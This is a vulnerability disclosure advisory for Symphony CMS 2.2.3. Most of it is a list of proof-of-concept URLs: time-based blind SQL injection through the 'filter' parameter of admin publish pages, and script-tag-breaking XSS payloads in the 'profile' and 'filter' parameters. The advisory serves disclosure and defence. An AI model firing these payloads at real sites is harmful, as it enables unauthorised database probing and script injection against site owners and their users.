XSS and SQL Injection Vulnerabilities on Symphony CMS

Name :  XSS and SQL Injection Vulnerabilities on Symphony CMS
Software :  Symphony CMS  2.2.3 and possibly below
Vendor Homepage :  http://symphony-cms.com
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference :  NS-11-008


http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
http://example.com/?profile='"--></style></script><script>alert(1)</script>
http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>
http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
http://example.com/about/?profile='"--></style></script><script>alert(1)</script>
http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>